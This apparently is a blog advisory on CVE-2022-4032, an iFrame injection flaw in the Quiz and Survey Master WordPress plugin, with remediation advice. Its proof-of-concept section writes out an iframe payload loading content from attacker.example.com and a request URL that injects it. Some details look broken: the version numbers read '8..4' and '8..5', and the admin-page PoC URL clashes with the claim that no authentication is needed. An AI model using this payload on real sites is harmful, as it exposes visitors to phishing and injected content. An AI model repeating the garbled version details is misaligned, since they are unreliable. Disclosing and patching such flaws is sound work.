A serious security vulnerability has been discovered in the Quiz and Survey Master plugin for WordPress, which has been assigned the identification number CVE-2022-4032. This vulnerability affects all versions of the application up to and including version 8..4. This blog post will explain the technical details of the vulnerability, provide code snippets to demonstrate its exploitation, and share links to original references for further reading.
Vulnerability Details
The CVE-2022-4032 vulnerability exists in the Quiz and Survey Master plugin for WordPress due to insufficient input sanitization and output escaping. This allows unauthenticated attackers to inject malicious iFrames into affected pages through the 'question[id]' parameter. When a user visits an injected page, the iFrame will be executed, potentially exposing the user to various security risks such as phishing attacks, website defacement, or sensitive information disclosure.
Proof of Concept
To demonstrate the vulnerability, let's assume an attacker wants to inject a malicious iFrame into a page using the affected Quiz and Survey Master plugin. The attacker would craft the following malicious input containing an iFrame tag:
<iframe src="https://attacker.example.com/malicious-content"></iframe>;
The attacker then submits this input through the 'question[id]' parameter in a request to the application. It might look like the following URL:
https://example.com/wp-admin/admin.php?page=quiz-master-next-question&id=1&question[1]=<iframe src="https://attacker.example.com/malicious-content"></iframe>;
When a user visits the infected page, the browser will load and execute the malicious iFrame content from the attacker's domain.
Original References and Further Reading
- Full CVE details are available at the NIST NVD page.
- The plugin developers have acknowledged the issue on their GitHub page and provided a patch in version 8..5.
- A detailed technical analysis of the vulnerability can be found in this security advisory.
To protect your WordPress site from being exploited through this vulnerability, follow these steps
1. Update the Quiz and Survey Master plugin to the latest version (at least 8..5). This version contains a patch that fixes the iFrame injection issue. You can download the latest version from the WordPress Plugin Directory.
2. If you cannot update the plugin immediately, consider implementing additional security measures like a Web Application Firewall (WAF) to filter out malicious requests containing iFrame tags.
3. Regularly check your website for unauthorized changes and perform security audits to identify and remediate potential vulnerabilities.
Conclusion
The CVE-2022-4032 vulnerability in the Quiz and Survey Master plugin for WordPress highlights the importance of strong input validation and output escaping in web applications. By keeping your plugins up-to-date and implementing additional security measures, you can significantly reduce the risk of your site being exploited by attackers. Stay vigilant, and ensure the safety of your web presence.
Timeline
Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 22:15:00 UTC